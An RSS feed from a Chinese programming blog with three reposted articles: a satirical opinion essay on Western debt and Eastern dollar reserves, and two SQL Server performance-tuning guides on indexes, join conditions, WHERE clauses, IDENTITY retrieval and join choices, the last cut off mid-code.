﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>C++博客-Welcome to 陈俊峰's ---BeetleHeaded Man Blog !</title><link>http://www.cppblog.com/Jeff-Chen/</link><description /><language>zh-cn</language><lastBuildDate>Wed, 08 Apr 2026 20:57:36 GMT</lastBuildDate><pubDate>Wed, 08 Apr 2026 20:57:36 GMT</pubDate><ttl>60</ttl><item><title>西方骗子与东方傻子的经济学</title><link>http://www.cppblog.com/Jeff-Chen/archive/2006/06/22/8833.html</link><dc:creator>Jeff-Chen</dc:creator><author>Jeff-Chen</author><pubDate>Thu, 22 Jun 2006 06:20:00 GMT</pubDate><guid>http://www.cppblog.com/Jeff-Chen/archive/2006/06/22/8833.html</guid><wfw:comment>http://www.cppblog.com/Jeff-Chen/comments/8833.html</wfw:comment><comments>http://www.cppblog.com/Jeff-Chen/archive/2006/06/22/8833.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/Jeff-Chen/comments/commentRss/8833.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/Jeff-Chen/services/trackbacks/8833.html</trackback:ping><description><![CDATA[先说几句题外的话，算是前言好了： <br /><br />　　大多数经济学家都是骗子，不同的是有的有文化，有的没有文化。仅此而已。 <br /><br />　　有文化的骗子善于使用墨菲定律，把简单的欺诈复杂化、学术化，就是把坏心包藏在科学的光环之下来欺诈你。比如，明明是不花钱往自个家里搬国有的资产（侵吞）可人家摇身一变为“MBO”，不明白了吧，要的就是你的不明白，堂而皇之，公而也就私之了。 <br /><br />　　没文化的骗子善于忽悠，就是说绕，夹七夹八的把你搞晕为止。比如，你说房子太贵了你买不起，他就告诉你GDP今年增长了10％，你说最近矿山总是出事，他就告诉你“谁要你生在中国”。呵呵，晕晕乎乎之间你或恍然大悟或一撅不振。最后下场就是被人绕进买了老赵的那根拐，完事。 <br /><br />　　总之，他是骗子的，你是傻子。 <br /><br />　　正文一：西方的骗子是怎么骗的? <br /><br />　　西方有米国，没当骗子之前是强盗，没当强盗之前是穷棒子。生为穷棒子之时，相信勤劳致富，可辛辛苦苦干了一年，发现表兄弟出去抢上一票够自己干一辈子的。于是先愤恨后眼红，跟着做强盗。江湖在变，一天看英雄片看到一句话“现在的社会靠的是用脑不是打打杀杀”于是改做骗子。 <br /><br />　　怎么才能当好一个合格的骗子呢？ <br /><br />　　经济学有二个基本的公式是任何一个合格的骗子所必须认真领会和掌握的。 <br /><br />　　公式一：资产＝负债＋所有者权益 <br /><br />　　通俗而言，这个公式说明白了一件事情，就是资产的来源有二个渠道，一是自己的，一是借来的。但不论是自己的还是借来的，都是资产，都是你所能控制和使用的。明白这一点的重要意义在于，要想富，得会借。 <br /><br />　　比如，你有10万，是你自己的全部资产，你所能控制和使用的资源就只有10万了，这点钱，只能维持温饱，不够买车也不够买房。要有车有房子，你还得想办法去挣个90万。于是，你努力工作，年薪5万，18年不吃不喝才能攒够100万，奔向小康。很明显，抱着这个念头，你成不了先富一代，只能沦落为穷人。 <br /><br />　　所以，骗子走的是另外一条路，同样是100万的目标，骗子的想法就是如何能借到90万。借到手了，只要不还，这有车有房的好日子就能享受了。一句话，就资产而言，是先富裕起来了。 <br /><br />　　实话实说，现在的富人，其资产有多少又是真正属于其自己的呢。因此，对资产需要看重的是控制和使用权。而不是所有权。 <br /><br />　　资本主义的经济学家折腾了几百年，终于明白了这个道理。富裕不是靠劳动来的，甚至不是靠利润积累的，富裕是靠借钱借出来的。 <br /><br />　　米国人于是开始借钱过日子了，靠武力建立出米元的强势地位，说白了，就是要你必须承认他的钞票好使，好到1：8或者1：80的程度。你给产品米国，米国给你钞票。然后，为了使得你手中的米钞不会贬值，再要求你把米钞再借给他。然后再用米钞来买你的产品。这样一来，想不富裕也就成了一件难事。（格领斯潘推行了长期的低利率政策，就是要米国人民逼上这一条借钱过小康的富裕之后。所以米国人现在的储蓄率为负数） <br /><br />　　骗子需要找到一条骗的技巧，这个技巧说穿了就是这么简单。但有技巧不代表就能骗到钱，所以还需要欺骗的对象，欺骗的对象越傻，钱越好骗。 <br /><br />　　于是骗子开始制造傻子。西方的骗子先把骗术包装，以科学和民主把骗术包装成经济学后就开始灌输给了东方的精英。东方的精英看了包装狂喜之下先忘记了自己姓什么，（传统文化）然后吞下西方资本的筵席的剩饭（分一点利益）之后，成了一知半解的经济学家。开始在东方大量复制傻子（教育产业化）。人家说全球经济一体化，我们就说加入WTO是时代的需要。人家说产品应该多出口，我们就把自家变成一个大工厂，拼命的生产出口创外汇。 <br /><br />　　自身的资源化为花花绿绿的票子后，傻子开始有点发呆了。这票子该怎么用。1亿条裤子换来了一亿的钞票，可是再买西方的裤子，人家贴个牌子这裤子就不是裤子成了时装，一条抵你一百条。太贵，买不起吧。买飞机，这玩意也忒贵，每公斤（包括马桶）1万米元，如此买下去，也非穷不可。所以，东方的傻子觉得米元来之不易，用之心痛。决定留着。西方的骗子于是说，我给你利息，你借给我吧。傻子于是感觉遇到了好人，流着感激的眼泪借给了西方的骗子。苦难开始恶性循环了。把钱借出去，出让了货币的使用权，自己没得用了，没得用了，自己的发展能力必然减弱了。越弱就只能越出卖体力，越出卖体力就越无力发展。越无力发展就越弱，而一味的弱下去必然就软了。 <br /><br />　　正文二：东方的傻子为什么傻？ <br /><br />　　东方的傻子为什么犯傻，是因为东方的傻子没明白经济学的第二条公式 <br /><br />　　利润＝收入－费用<br /><br />    东方的傻子看了这条公式，理解为，钱应该是通过增加收入，减少费用得来的。于是东方的傻子拼命的多出口，增加收入，玩命的减少费用（降低工资，减少必要的设施，甚至是安全设施）来赢取利润。 <br /><br />　　什么是利润，利润应该是钱，但钱是什么，傻子傻就傻这里了。钱只是一张张的纸，钱背后所代表的资源的占用和消耗的权利才是实质。傻子只要钱，要更多的钱，而忘记了生产的本意是满足人民群众的不断增长的物质和精神需要。所以，傻子把钱借出去生钱。把自己的产品卖出去换钱。可惜，富裕不是在于你生产了多少，而是在于你消费了多少。生产了，你享用不到，所以依然贫困，纸上富贵必定不是真实的富贵。这么简单的道理，傻子就是不明白。（当然，傻子中的精英是享受到了，所以一点也没觉得自己傻） <br /><br />　　傻子还不明白一个道理，借钱应该借给谁？傻子以为钱应该借给有钱有势的财主，因为财主肯定还得起。但是，傻子又忘记了，财主不还钱的话，自己二手空空，财主武装到了牙齿。可奈之以何？傻子再傻这时大概也不会相信可以诉讼以法律来讨回银子吧。法律是维护谁的利益的？况且，钞票只是一张纸，真想要，人家多印刷几张就是。你拽在手里，有劲吗？ <br /><br />　　西方得骗子越骗越富，东方得傻子越傻越穷。道理就这么简单<img src ="http://www.cppblog.com/Jeff-Chen/aggbug/8833.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/Jeff-Chen/" target="_blank">Jeff-Chen</a> 2006-06-22 14:20 <a href="http://www.cppblog.com/Jeff-Chen/archive/2006/06/22/8833.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>让你的SQL运行速度明显提高</title><link>http://www.cppblog.com/Jeff-Chen/archive/2006/05/15/7159.html</link><dc:creator>Jeff-Chen</dc:creator><author>Jeff-Chen</author><pubDate>Mon, 15 May 2006 02:18:00 GMT</pubDate><guid>http://www.cppblog.com/Jeff-Chen/archive/2006/05/15/7159.html</guid><wfw:comment>http://www.cppblog.com/Jeff-Chen/comments/7159.html</wfw:comment><comments>http://www.cppblog.com/Jeff-Chen/archive/2006/05/15/7159.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/Jeff-Chen/comments/commentRss/7159.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/Jeff-Chen/services/trackbacks/7159.html</trackback:ping><description><![CDATA[人们在使用SQL时往往会陷入一个误区，即太关注于所得的结果是否正确，而忽略了不同的实现方法之间可能存在的性能差异，这种性能差异在大型的或是复杂的数据库环境中（如联机事务处理OLTP或决策支持系统DSS）中表现得尤为明显。笔者在工作实践中发现，不良的SQL往往来自于不恰当的索引设计、不充份的连接条件和不可优化的where子句。在对它们进行适当的优化后，其运行速度有了明显地提高！下面我将从这三个方面分别进行总结：（为了更直观地说明问题，所有实例中的SQL运行时间均经过测试，不超过１秒的均表示为（&lt; 1秒）。 ）<br /><br />一、不合理的索引设计 <br /><br />　　例：表record有620000行，试看在不同的索引下，下面几个 SQL的运行情况： <br /><br /><br /><br />　　1.在date上建有一非个群集索引<br />select count(*) from record where date &gt; <br />''19991201'' and date &lt; ''19991214''and amount &gt; <br />2000 (25秒) <br />select date,sum(amount) from record group by date <br />(55秒) <br />select count(*) from record where date &gt; <br />''19990901'' and place in (''BJ'',''SH'') (27秒)<br /><br />　　分析： <br />　　date上有大量的重复值，在非群集索引下，数据在物理上随机存放在数据页上，在范围查找时，必须执行一次表扫描才能找到这一范围内的全部行。 <br /><br /><br />　　2.在date上的一个群集索引<br />select count(*) from record where date &gt; <br />''19991201'' and date &lt; ''19991214'' and amount &gt; <br />2000 （14秒） <br />select date,sum(amount) from record group by date <br />（28秒） <br />select count(*) from record where date &gt; <br />''19990901'' and place in (''BJ'',''SH'')（14秒）<br /><br />　　分析： <br />　　在群集索引下，数据在物理上按顺序在数据页上，重复值也排列在一起，因而在范围查找时，可以先找到这个范围的起末点，且只在这个范围内扫描数据页，避免了大范围扫描，提高了查询速度。 <br /><br /><br />　　3.在place，date，amount上的组合索引 <br />select count(*) from record where date &gt; <br />''19991201'' and date &lt; ''19991214'' and amount &gt; <br />2000 （26秒） <br />select date,sum(amount) from record group by date <br />（27秒） <br />select count(*) from record where date &gt; <br />''19990901'' and place in (''BJ, ''SH'')（&lt; 1秒）<br /><br />　　分析： <br />　　这是一个不很合理的组合索引，因为它的前导列是place，第一和第二条SQL没有引用place，因此也没有利用上索引；第三个SQL使用了place。<br /><br /><br />　　4.在date，place，amount上的组合索引 <br />select count(*) from record where date &gt; <br />''19991201'' and date &lt; ''19991214'' and amount &gt; <br />2000(&lt; 1秒) <br />select date,sum(amount) from record group by date <br />（11秒） <br />select count(*) from record where date &gt; <br />''19990901'' and place in (''BJ'',''SH'')（&lt; 1秒）<br /><br />　　分析： <br />　　这是一个合理的组合索引。它将date作为前导列，使每个SQL都可以利用索引，并且在第一和第三个SQL中形成了索引覆盖，因而性能达到了最优。 <br /><br /><br />　　5.总结： <br />　　缺省情况下建立的索引是非群集索引，但有时它并不是最佳的；合理的索引设计要建立在对各种查询的分析和预测上。一般来说： <br /><br />　　①.有大量重复值、且经常有范围查询 <br /><br />　　（between, &gt;,&lt; ，&gt;=,&lt; =）和order by、group by发生的列，可考虑建立群集索引； <br /><br />　　②.经常同时存取多列，且每列都含有重复值可考虑建立组合索引； <br /><br />　　③.组合索引要尽量使关键查询形成索引覆盖，其前导列一定是使用最频繁的列。<br />二、不充份的连接条件 <br /><br />　　例：表card有7896行，在card_no上有一个非聚集索引，表account有191122行，在 account_no上有一个非聚集索引，试看在不同的表连接条件下，两个SQL的执行情况： <br />select sum(a.amount) from account a, <br />card b where a.card_no = b.card_no（20秒）<br /><br /><br />　　将SQL改为： <br />select sum(a.amount) from account a, <br />card b where a.card_no = b.card_no and a. <br />account_no=b.account_no（&lt; 1秒）<br /><br />　　分析： <br />　　在第一个连接条件下，最佳查询方案是将account作外层表，card作内层表，利用card上的索引，其I/O次数可由以下公式估算为： <br />　　外层表account上的22541页+（外层表account的191122行*内层表card上对应外层表第一行所要查找的3页）=595907次I/O <br /><br />　　在第二个连接条件下，最佳查询方案是将card作外层表，account作内层表，利用account上的索引，其I/O次数可由以下公式估算为： <br />　　外层表card上的1944页+（外层表card的7896行*内层表account上对应外层表每一行所要查找的4页）= 33528次I/O <br /><br />　　可见，只有充份的连接条件，真正的最佳方案才会被执行。 <br /><br /><br />　　总结： <br />　　1.多表操作在被实际执行前，查询优化器会根据连接条件，列出几组可能的连接方案并从中找出系统开销最小的最佳方案。连接条件要充份考虑带有索引的表、行数多的表；内外表的选择可由公式：外层表中的匹配行数*内层表中每一次查找的次数确定，乘积最小为最佳方案。 <br /><br />　　2.查看执行方案的方法-- 用set showplanon，打开showplan选项，就可以看到连接顺序、使用何种索引的信息；想看更详细的信息，需用sa角色执行dbcc(3604,310,302)。 <br /><br /><br />三、不可优化的where子句 <br /><br />　　1.例：下列SQL条件语句中的列都建有恰当的索引，但执行速度却非常慢： <br />select * from record where <br />substring(card_no,1,4)=''5378''(13秒) <br />select * from record where <br />amount/30&lt; 1000（11秒） <br />select * from record where <br />convert(char(10),date,112)=''19991201''（10秒）<br /><br />　　分析： <br />　　where子句中对列的任何操作结果都是在SQL运行时逐列计算得到的，因此它不得不进行表搜索，而没有使用该列上面的索引；如果这些结果在查询编译时就能得到，那么就可以被SQL优化器优化，使用索引，避免表搜索，因此将SQL重写成下面这样： <br />select * from record where card_no like <br />''5378%''（&lt; 1秒） <br />select * from record where amount <br />&lt; 1000*30（&lt; 1秒） <br />select * from record where date= ''1999/12/01'' <br />（&lt; 1秒）<br /><br />　　你会发现SQL明显快起来！ <br /><br />　　2.例：表stuff有200000行，id_no上有非群集索引，请看下面这个SQL： <br />select count(*) from stuff where id_no in(''0'',''1'')（23秒）<br /><br />　　分析： <br />　　where条件中的''in''在逻辑上相当于''or''，所以语法分析器会将in (''0'',''1'')转化为id_no =''0'' or id_no=''1''来执行。我们期望它会根据每个or子句分别查找，再将结果相加，这样可以利用id_no上的索引；但实际上（根据showplan）,它却采用了"OR策略"，即先取出满足每个or子句的行，存入临时数据库的工作表中，再建立唯一索引以去掉重复行，最后从这个临时表中计算结果。因此，实际过程没有利用id_no上索引，并且完成时间还要受tempdb数据库性能的影响。 <br /><br />　　实践证明，表的行数越多,有620000行时，执行时间竟达到220秒！还不如将or子句分开： <br />select count(*) from stuff where id_no=''0'' <br />select count(*) from stuff where id_no=''1''<br /><br />　　得到两个结果，再作一次加法合算。因为每句都使用了索引，执行时间只有3秒，在620000行下，时间也只有4秒。或者，用更好的方法，写一个简单的存储过程： <br />create proc count_stuff as <br />declare @a int <br />declare @b int <br />declare @c int <br />declare @d char(10) <br />begin <br />select @a=count(*) from stuff where id_no=''0'' <br />select @b=count(*) from stuff where id_no=''1'' <br />end <br />select @c=@a+@b <br />select @d=convert(char(10),@c) <br />print @d<br /><br />　　直接算出结果，执行时间同上面一样快！ <br /><br />　　总结：<br /><br />　　可见，所谓优化即where子句利用了索引，不可优化即发生了表扫描或额外开销。 <br /><br />　　1.任何对列的操作都将导致表扫描，它包括数据库函数、计算表达式等等，查询时要尽可能将操作移至等号右边。 <br /><br />　　2.in、or子句常会使用工作表，使索引失效；如果不产生大量重复值，可以考虑把子句拆开；拆开的子句中应该包含索引。 <br /><br />　　3.要善于使用存储过程，它使SQL变得更加灵活和高效。 <br /><br />　　从以上这些例子可以看出，SQL优化的实质就是在结果正确的前提下，用优化器可以识别的语句，充份利用索引，减少表扫描的I/O次数，尽量避免表搜索的发生。其实SQL的性能优化是一个复杂的过程，上述这些只是在应用层次的一种体现，深入研究还会涉及数据库层的资源配置、网络层的流量控制以及操作系统层的总体设计。<br /><font color="#002c99">来源：http://edu.chinaz.com</font>  <img src ="http://www.cppblog.com/Jeff-Chen/aggbug/7159.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/Jeff-Chen/" target="_blank">Jeff-Chen</a> 2006-05-15 10:18 <a href="http://www.cppblog.com/Jeff-Chen/archive/2006/05/15/7159.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>五种提高SQL Server性能的方法</title><link>http://www.cppblog.com/Jeff-Chen/archive/2006/05/15/7157.html</link><dc:creator>Jeff-Chen</dc:creator><author>Jeff-Chen</author><pubDate>Mon, 15 May 2006 02:02:00 GMT</pubDate><guid>http://www.cppblog.com/Jeff-Chen/archive/2006/05/15/7157.html</guid><wfw:comment>http://www.cppblog.com/Jeff-Chen/comments/7157.html</wfw:comment><comments>http://www.cppblog.com/Jeff-Chen/archive/2006/05/15/7157.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/Jeff-Chen/comments/commentRss/7157.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/Jeff-Chen/services/trackbacks/7157.html</trackback:ping><description><![CDATA[有时，为了让应用程序运行得更快，所做的全部工作就是在这里或那里做一些很小调整。啊，但关键在于确定如何进行调整！迟早您会遇到这种情况：应用程序中的 SQL 查询不能按照您想要的方式进行响应。它要么不返回数据，要么耗费的时间长得出奇。如果它降低了报告或您的企业应用程序的速度，用户必须等待的时间过长，他们就会很不满意。就像您的父母不想听您解释为什么在深更半夜才回来一样，用户也不会听你解释为什么查询 耗费这么长时间。（“对不起，妈妈，我使用了太多的 LEFT JOIN。”）用户希望应用程序响应迅速，他们的报告能够在瞬间之内返回分析数据。就我自己而言，如果在 Web 上冲浪时某个页面要耗费十多秒才能加载（好吧，五秒更实际一些），我也会很不耐烦。<br /><br />为了解决这些问题，重要的是找到问题的根源。那么，从哪里开始呢？根本原因通常在于<a href="http://www.chinahtml.com/databases/" target="_blank">数据库</a>设计和访问它的查询。在本月的专栏中，我将讲述四项技术，这些技术可用于提高基于 <a href="http://www.chinahtml.com/databases/2/" target="_blank">SQL Server</a>? 的应用程序的性能或改善其可伸缩性。我将仔细说明 LEFT JOIN、CROSS JOIN 的使用以及 IDENTITY 值的检索。请记住，根本没有神奇的解决方案。调整您的<a href="http://www.chinahtml.com/databases/" target="_blank">数据库</a>及其查询需要占用时间、进行分析，还需要大量的测试。这些技术都已被证明行之有效，但对您的应用程序而言，可能其中一些技术比另一些技术更适用。<br /><br />从 INSERT 返回 IDENTITY <br /><br />我决定从遇到许多问题的内容入手：如何在执行 SQL INSERT 后检索 IDENTITY 值。通常，问题不在于如何编写检索值的查询，而在于在哪里以及何时进行检索。在 <a href="http://www.chinahtml.com/databases/2/" target="_blank">SQL Server</a> 中，下面的语句可用于检索由最新在活动<a href="http://www.chinahtml.com/databases/" target="_blank">数据库</a>连接上运行的 SQL 语句所创建的 IDENTITY 值：<br /><br />SELECT @@IDENTITY<br /><br />这个 SQL 语句并不复杂，但需要记住的一点是：如果这个最新的 SQL 语句不是 INSERT，或者您针对非 INSERT SQL 的其他连接运行了此 SQL，则不会获得期望的值。您必须运行下列代码才能检索紧跟在 INSERT SQL 之后且位于同一连接上的 IDENTITY，如下所示：<br /><br />INSERT INTO Products (ProductName) VALUES ('Chalk')<br /><br />SELECT @@IDENTITY<br /><br />在一个连接上针对 Northwind <a href="http://www.chinahtml.com/databases/" target="_blank">数据库</a>运行这些查询将返回一个名称为 Chalk 的新产品的 IDENTITY 值。所以，在使用 ADO 的 Visual Basic? 应用程序中，可以运行以下语句：<br /><br />Set oRs = oCn.Execute("SET NOCOUNT ON;INSERT INTO Products _<br /><br />(ProductName) VALUES ('Chalk');SELECT @@IDENTITY")<br /><br />lProductID = oRs(0)　<br /><br />　　此代码告诉 <a href="http://www.chinahtml.com/databases/2/" target="_blank">SQL Server</a> 不要返回查询的行计数，然后执行 INSERT 语句，并返回刚刚为这个新行创建的 IDENTITY 值。SET NOCOUNT ON 语句表示返回的记录集有一行和一列，其中包含了这个新的 IDENTITY 值。如果没有此语句，则会首先返回一个空的记录集（因为 INSERT 语句不返回任何数据），然后会返回第二个记录集，第二个记录集中包含 IDENTITY 值。这可能有些令人困惑，尤其是因为您从来就没有希望过 INSERT 会返回记录集。之所以会发生此情况，是因为 <a href="http://www.chinahtml.com/databases/2/" target="_blank">SQL Server</a> 看到了这个行计数（即一行受到影响）并将其解释为表示一个记录集。因此，真正的数据被推回到了第二个记录集。当然您可以使用 ADO 中的 NextRecordset 方法获取此第二个记录集，但如果总能够首先返回该记录集且只返回该记录集，则会更方便，也更有效率。<br /><br />此方法虽然有效，但需要在 SQL 语句中额外添加一些代码。获得相同结果的另一方法是在 INSERT 之前使用 SET NOCOUNT ON 语句，并将 SELECT @@IDENTITY 语句放在表中的 FOR INSERT 触发器中，如下面的代码片段所示。这样，任何进入该表的 INSERT 语句都将自动返回 IDENTITY 值。<br /><br />CREATE TRIGGER trProducts_Insert ON Products FOR INSERT AS <br /><br />SELECT @@IDENTITY <br /><br />GO<br /><br />触发器只在 Products 表上发生 INSERT 时启动，所以它总是会在成功 INSERT 之后返回一个 IDENTITY。使用此技术，您可以始终以相同的方式在应用程序中检索 IDENTITY 值。<br /><br />内嵌视图与临时表 <br /><br />某些时候，查询需要将数据与其他一些可能只能通过执行 GROUP BY 然后执行标准查询才能收集的数据进行联接。例如，如果要查询最新五个定单的有关信息，您首先需要知道是哪些定单。这可以使用返回定单 ID 的 SQL 查询来检索。此数据就会存储在临时表（这是一个常用技术）中，然后与 Products 表进行联接，以返回这些定单售出的产品数量：<br /><br />CREATE TABLE #Temp1 (OrderID INT NOT NULL, _<br /><br />OrderDate DATETIME NOT NULL)<br /><br />INSERT INTO #Temp1 (OrderID, OrderDate)<br /><br />SELECT TOP 5 o.OrderID, o.OrderDate<br /><br />FROM Orders o ORDER BY o.OrderDate DESC<br /><br />SELECT p.ProductName, SUM(od.Quantity) AS ProductQuantity<br /><br />FROM #Temp1 t <br /><br />INNER JOIN [Order Details] od ON t.OrderID = od.OrderID<br /><br />INNER JOIN Products p ON od.ProductID = p.ProductID <br /><br />GROUP BY p.ProductName<br /><br />ORDER BY p.ProductName<br /><br />DROP TABLE #Temp1<br /><br />这些 SQL 语句会创建一个临时表，将数据插入该表中，将其他数据与该表进行联接，然后除去该临时表。这会导致此查询进行大量 I/O 操作，因此，可以重新编写查询，使用内嵌视图取代临时表。内嵌视图只是一个可以联接到 FROM 子句中的查询。所以，您不用在 tempdb 中的临时表上耗费大量 I/O 和磁盘访问，而可以使用内嵌视图得到同样的结果：<br /><br />SELECT p.ProductName, <br /><br />SUM(od.Quantity) AS ProductQuantity<br /><br />FROM (<br /><br />SELECT TOP 5 o.OrderID, o.OrderDate<br /><br />FROM Orders o <br /><br />ORDER BY o.OrderDate DESC<br /><br />) t <br /><br />INNER JOIN [Order Details] od ON t.OrderID = od.OrderID<br /><br />INNER JOIN Products p ON od.ProductID = p.ProductID<br /><br />GROUP BY<br /><br />p.ProductName<br /><br />ORDER BY<br /><br />p.ProductName <br /><br />此查询不仅比前面的查询效率更高，而且长度更短。临时表会消耗大量资源。如果只需要将数据联接到其他查询，则可以试试使用内嵌视图，以节省资源。<br /><br />避免 LEFT JOIN 和 NULL <br /><br />当然，有很多时候您需要执行 LEFT JOIN 和使用 NULL 值。但是，它们并不适用于所有情况。改变 SQL 查询的构建方式可能会产生将一个花几分钟运行的报告缩短到只花几秒钟这样的天壤之别的效果。有时，必须在查询中调整数据的形态，使之适应应用程序所要求的显示方式。虽然 TABLE 数据类型会减少大量占用资源的情况，但在查询中还有许多区域可以进行优化。SQL 的一个有价值的常用功能是 LEFT JOIN。它可以用于检索第一个表中的所有行、第二个表中所有匹配的行、以及第二个表中与第一个表不匹配的所有行。例如，如果希望返回每个客户及其定单，使用 LEFT JOIN 则可以显示有定单和没有定单的客户。<br /><br />此工具可能会被过度使用。LEFT JOIN 消耗的资源非常之多，因为它们包含与 NULL（不存在）数据匹配的数据。在某些情况下，这是不可避免的，但是代价可能非常高。LEFT JOIN 比 INNER JOIN 消耗资源更多，所以如果您可以重新编写查询以使得该查询不使用任何 LEFT JOIN，则会得到非常可观的回报。<br /><br />加快使用 LEFT JOIN 的查询速度的一项技术涉及创建一个 TABLE 数据类型，插入第一个表（LEFT JOIN 左侧的表）中的所有行，然后使用第二个表中的值更新 TABLE 数据类型。此技术是一个两步的过程，但与标准的 LEFT JOIN 相比，可以节省大量时间。一个很好的规则是尝试各种不同的技术并记录每种技术所需的时间，直到获得用于您的应用程序的执行性能最佳的查询。<br /><br />测试查询的速度时，有必要多次运行此查询，然后取一个平均值。因为查询（或存储过程）可能会存储在 <a href="http://www.chinahtml.com/databases/2/" target="_blank">SQL Server</a> 内存中的过程缓存中，因此第一次尝试耗费的时间好像稍长一些，而所有后续尝试耗费的时间都较短。另外，运行您的查询时，可能正在针对相同的表运行其他查询。当其他查询锁定和解锁这些表时，可能会导致您的查询要排队等待。例如，如果您进行查询时某人正在更新 此表中的数据，则在更新提交时您的查询可能需要耗费更长时间来执行。<br /><br />避免使用 LEFT JOIN 时速度降低的最简单方法是尽可能多地围绕它们设计<a href="http://www.chinahtml.com/databases/" target="_blank">数据库</a>。例如，假设某一产品可能具有类别也可能没有类别。如果 Products 表存储了其类别的 ID，而没有用于某个特定产品的类别，则您可以在字段中存储 NULL 值。然后您必须执行 LEFT JOIN 来获取所有产品及其类别。您可以创建一个值为“No Category”的类别，从而指定外键关系不允许 NULL 值。通过执行上述操作，现在您就可以使用 INNER JOIN 检索所有产品及其类别了。虽然这看起来好像是一个带有多余数据的变通方法，但可能是一个很有价值的技术，因为它可以消除 SQL 批处理语句中消耗资源较多的 LEFT JOIN。在<a href="http://www.chinahtml.com/databases/" target="_blank">数据库</a>中全部使用此概念可以为您节省大量的处理时间。请记住，对于您的用户而言，即使几秒钟的时间也非常重要，因为当您有许多用户正在访问同一个联机<a href="http://www.chinahtml.com/databases/" target="_blank">数据库</a>应用程序时，这几秒钟实际上的意义会非常重大。<br /><br />灵活使用笛卡尔乘积 <br /><br />对于此技巧，我将进行非常详细的介绍，并提倡在某些情况下使用笛卡尔乘积。出于某些原因，笛卡尔乘积 (CROSS JOIN) 遭到了很多谴责，开发人员通常会被警告根本就不要使用它们。在许多情况下，它们消耗的资源太多，从而无法高效使用。但是像 SQL 中的任何工具一样，如果正确使用，它们也会很有价值。例如，如果您想运行一个返回每月数据（即使某一特定月份客户没有定单也要返回）的查询，您就可以很方便地使用笛卡尔乘积。<br /><br />虽然这看起来好像没什么神奇的，但是请考虑一下，如果您从客户到定单（这些定单按月份进行分组并对销售额进行小计）进行了标准的 INNER JOIN，则只会获得客户有定单的月份。因此，对于客户未订购任何产品的月份，您不会获得 0 值。如果您想为每个客户都绘制一个图，以显示每个月和该月销售额，则可能希望此图包括月销售额为 0 的月份，以便直观标识出这些月份。如果使用 Figure 2（最后一页） 中的 SQL，数据则会跳过销售额为 0 美元的月份，因为在定单表中对于零销售额不会包含任何行（假设您只存储发生的事件）。<br /><br />Figure 3（最后一页）中的代码虽然较长，但是可以达到获取所有销售数据（甚至包括没有销售额的月份）的目标。首先，它会提取去年所有月份的列表，然后将它们放入第一个 TABLE 数据类型表 (@tblMonths) 中。下一步，此代码会获取在该时间段内有销售额的所有客户公司的名称列表，然后将它们放入另一个 TABLE 数据类型表 (@tblCus-tomers) 中。这两个表存储了创建结果集所必需的所有基本数据，但实际销售数量除外。 第一个表中列出了所有月份（12 行），第二个表中列出了这个时间段内有销售额的所有客户（对于我是 81 个）。并非每个客户在过去 12 个月中的每个月都购买了产品，所以，执行 INNER JOIN 或 LEFT JOIN 不会返回每个月的每个客户。这些操作只会返回购买产品的客户和月份。<br /><br />笛卡尔乘积则可以返回所有月份的所有客户。笛卡尔乘积基本上是将第一个表与第二个表相乘，生成一个行集合，其中包含第一个表中的行数与第二个表中的行数相乘的结果。因此，笛卡尔乘积会向表 @tblFinal 返回 972 行。最后的步骤是使用此日期范围内每个客户的月销售额总计更新 @tblFinal 表，以及选择最终的行集。<br /><br />如果由于笛卡尔乘积占用的资源可能会很多，而不需要真正的笛卡尔乘积，则可以谨慎地使用 CROSS JOIN。例如，如果对产品和类别执行了 CROSS JOIN，然后使用 WHERE 子句、DISTINCT 或 GROUP BY 来筛选出大多数行，那么使用 INNER JOIN 会获得同样的结果，而且效率高得多。如果需要为所有的可能性都返回数据（例如在您希望使用每月销售日期填充一个图表时），则笛卡尔乘积可能会非常有帮助。但是，您不应该将它们用于其他用途，因为在大多数方案中 INNER JOIN 的效率要高得多。<br /><br />拾遗补零 <br /><br />这里介绍其他一些可帮助提高 SQL 查询效率的常用技术。假设您将按区域对所有销售人员进行分组并将他们的销售额进行小计，但是您只想要那些<a href="http://www.chinahtml.com/databases/" target="_blank">数据库</a>中标记为处于活动状态的销售人员。您可以按区域对销售人员分组，并使用 HAVING 子句消除那些未处于活动状态的销售人员，也可以在 WHERE 子句中执行此操作。在 WHERE 子句中执行此操作会减少需要分组的行数，所以比在 HAVING 子句中执行此操作效率更高。HAVING 子句中基于行的条件的筛选会强制查询对那些在 WHERE 子句中会被去除的数据进行分组。<br /><br />另一个提高效率的技巧是使用 DISTINCT 关键字查找数据行的单独报表，来代替使用 GROUP BY 子句。在这种情况下，使用 DISTINCT 关键字的 SQL 效率更高。请在需要计算聚合函数（SUM、COUNT、MAX 等）的情况下再使用 GROUP BY。另外，如果您的查询总是自己返回一个唯一的行，则不要使用 DISTINCT 关键字。在这种情况下，DISTINCT 关键字只会增加系统开销。<br /><br />您已经看到了，有大量技术都可用于优化查询和实现特定的业务规则，技巧就是进行一些尝试，然后比较它们的性能。最重要的是要测试、测试、再测试。在此专栏的将来各期内容中，我将继续深入讲述 <a href="http://www.chinahtml.com/databases/2/" target="_blank">SQL Server</a> 概念，包括<a href="http://www.chinahtml.com/databases/" target="_blank">数据库</a>设计、好的索引实践以及 <a href="http://www.chinahtml.com/databases/2/" target="_blank">SQL Server</a> 安全范例。<br /><br />Figure 2 Returning All Customers and Their Sales <br /><br />set nocount on<br /><br />DECLARE @dtStartDate DATETIME, <br /><br />@dtEndDate DATETIME,<br /><br />@dtDate DATETIME<br /><br />SET @dtEndDate = '5/5/1997'<br /><br />SET @dtEndDate = DATEADD(DD, -1, 